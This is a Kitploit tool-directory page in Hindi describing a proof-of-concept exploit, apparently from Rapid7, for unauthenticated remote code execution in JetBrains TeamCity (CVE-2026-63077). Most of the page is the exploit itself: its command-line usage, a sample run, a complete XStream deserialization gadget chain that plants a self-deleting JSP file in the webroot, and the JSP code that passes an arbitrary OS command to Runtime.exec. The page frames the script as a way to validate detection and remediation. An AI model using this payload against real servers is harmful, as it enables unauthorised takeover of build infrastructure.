Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-63077 — अप्रमाणित रिमोट कोड निष्पादन JetBrains TeamCity में (CVE-2026-63077) | Kitploit
उपकरण/GitHubGitHub/sfewer-r7/cve-2026-63077
पेलोड जनरेशनशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubsfewer-r7/cve-2026-63077

CVE-2026-63077

अप्रमाणित रिमोट कोड निष्पादन JetBrains TeamCity में (CVE-2026-63077)

रिपॉजिटरी देखें
1681 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

JetBrains TeamCity में अप्रमाणित रिमोट कोड निष्पादन (CVE-2026-63077)

अवलोकन

यह CVE-2026-63077 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट स्क्रिप्ट है। संगठन इस स्क्रिप्ट का उपयोग अपनी डिटेक्शन और रेमेडिएशन स्थिति को मान्य करने के लिए कर सकते हैं।

CVE-2026-63077 के पूर्ण तकनीकी विश्लेषण के लिए, कृपया हमारा Rapid7 विश्लेषण पढ़ें।

उपयोग

root@kitploit:~
$ python3 CVE-2026-63077.py --help
usage: CVE-2026-63077.py [-h] [--cmd CMD] [--webroot-relative WEBROOT_RELATIVE] [--dump-payload DUMP_PAYLOAD] [--response-out RESPONSE_OUT] [--http-timeout HTTP_TIMEOUT] base_url

positional arguments:
  base_url              TeamCity base URL, for example http://192.168.86.171:8111

options:
  -h, --help            show this help message and exit
  --cmd CMD             operating-system command passed to Runtime.exec() (default: notepad.exe)
  --webroot-relative WEBROOT_RELATIVE
                        TeamCity webroot relative to HSQLDB's process working directory (default: ../webapps/ROOT for the stock Windows installation)
  --dump-payload DUMP_PAYLOAD
                        optional path for the generated XML payload
  --response-out RESPONSE_OUT
                        optional path for the final JSP response body
  --http-timeout HTTP_TIMEOUT
                        timeout in seconds for each HTTP request

उदाहरण

root@kitploit:~
$ python3 CVE-2026-63077.py --cmd "notepad.exe" http://192.168.86.171:8111
=======================================================================================
Rapid7 Labs - JetBrains TeamCity unauthenticated RCE via agent polling (CVE-2026-63077)
=======================================================================================
[+] Targeting: http://192.168.86.171:8111
[+] Registering session: /app/agents/v1/register returned session 81:098323b2a2366471360bf6369a374eee
[+] Triggering deserialization: /app/agents/v1/commands/error returned HTTP 500
[+] Triggering JSPWS payload: /ceeed88f41d1.jspws returned HTTP 200
[+] Command executed: notepad.exe

गैजेट चेन

यह एक्सप्लॉइट द्वारा उपयोग की जाने वाली XStream गैजेट चेन का एक उदाहरण है। यह डिस्क पर एक पॉलीग्लॉट SQL/JSP फ़ाइल लिखता है, और जब ड्रॉप की गई फ़ाइल के लिए GET अनुरोध किया जाता है, तो RCE प्राप्त होता है।

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<linked-hash-map>
  <entry>
    <string>ddb3d64cfab4</string>
    <jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
      <outer-class>
        <myHSQLStorage>
          <myDataSource>
            <defaultTransactionIsolation>-1</defaultTransactionIsolation>
            <cacheState>true</cacheState>
            <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
            <lifo>true</lifo>
            <maxTotal>8</maxTotal>
            <maxIdle>8</maxIdle>
            <minIdle>0</minIdle>
            <initialSize>0</initialSize>
            <maxWaitMillis>-1</maxWaitMillis>
            <poolPreparedStatements>false</poolPreparedStatements>
            <clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
            <maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
            <testOnCreate>false</testOnCreate>
            <testOnBorrow>true</testOnBorrow>
            <testOnReturn>false</testOnReturn>
            <timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
            <numTestsPerEvictionRun>3</numTestsPerEvictionRun>
            <minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
            <softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
            <evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
            <testWhileIdle>false</testWhileIdle>
            <password/>
            <url>jdbc:hsqldb:mem:e4463d436a0a</url>
            <userName>SA</userName>
            <validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
            <connectionInitSqls>
              <string>CREATE TABLE IF NOT EXISTS TAB5C7787B386(C5084422879AC VARCHAR(4000))</string>
              <string>INSERT INTO TAB5C7787B386 VALUES (&apos;&lt;% if (application.getAttribute(&quot;010906e89631&quot;) == null) { application.setAttribute( &quot;010906e89631&quot;, java.lang.Boolean.TRUE ); java.nio.file.Files.deleteIfExists( java.nio.file.Path.of( application.getRealPath(&quot;/8e015de190fe.jspws&quot;) ) ); java.lang.Runtime.getRuntime().exec(&quot;notepad.exe&quot;); out.print(&quot;e63504e0601d&quot;); } %&gt;&apos;)</string>
              <string>SCRIPT &apos;../webapps/ROOT/8e015de190fe.jspws&apos;</string>
            </connectionInitSqls>
            <accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
            <maxConnLifetimeMillis>-1</maxConnLifetimeMillis>
            <logExpiredConnections>true</logExpiredConnections>
            <autoCommitOnReturn>true</autoCommitOnReturn>
            <rollbackOnReturn>true</rollbackOnReturn>
            <fastFailValidation>false</fastFailValidation>
            <connectionProperties/>
            <closed>false</closed>
          </myDataSource>
          <myStopped>false</myStopped>
          <myDatabaseOpen>false</myDatabaseOpen>
        </myHSQLStorage>
      </outer-class>
    </jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  </entry>

  <entry>
    <string>95033392cf88</string>
    <freemarker.ext.beans.HashAdapter>
      <wrapper>
        <sharedIntrospectionLock/>
        <classIntrospector>
          <exposureLevel>0</exposureLevel>
          <exposeFields>false</exposeFields>
          <treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
          <incompatibleImprovements>
            <major>2</major>
            <minor>3</minor>
            <micro>0</micro>
            <intValue>2003000</intValue>
            <calculatedStringValue>2.3.0</calculatedStringValue>
            <hashCode>0</hashCode>
          </incompatibleImprovements>
          <hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>
          <shared>false</shared>
          <sharedLock reference="../../sharedIntrospectionLock"/>
          <cache/>
          <cacheClassNames/>
          <classIntrospectionsInProgress/>
          <modelFactories/>
          <clearingCounter>0</clearingCounter>
        </classIntrospector>
        <falseModel>
          <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
          <wrapper reference="../.."/>
          <value>false</value>
        </falseModel>
        <writeProtected>false</writeProtected>
        <defaultDateType>0</defaultDateType>
        <methodsShadowItems>true</methodsShadowItems>
        <simpleMapWrapper>false</simpleMapWrapper>
        <strict>false</strict>
        <preferIndexedReadMethod>true</preferIndexedReadMethod>
        <incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
      </wrapper>
      <model reference="../wrapper/falseModel"/>
    </freemarker.ext.beans.HashAdapter>
  </entry>

  <entry>
    <string>ca89881ab2ce</string>
    <set>
      <org.apache.commons.collections.keyvalue.TiedMapEntry>
        <map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
        <key class="string">connection</key>
      </org.apache.commons.collections.keyvalue.TiedMapEntry>
    </set>
  </entry>

</linked-hash-map>

ड्रॉप की गई JSPWS फ़ाइल में स्वयं को हटाने से पहले एक OS कमांड निष्पादित करने के लिए निम्नलिखित कोड होगा।

root@kitploit:~
 if (application.getAttribute("010906e89631") == null) {
   application.setAttribute("010906e89631", java.lang.Boolean.TRUE);
   java.nio.file.Files.deleteIfExists(java.nio.file.Path.of(application.getRealPath("/8e015de190fe.jspws")));
   java.lang.Runtime.getRuntime().exec("notepad.exe");
   out.print("e63504e0601d");
 }
टूल डाउनलोड करें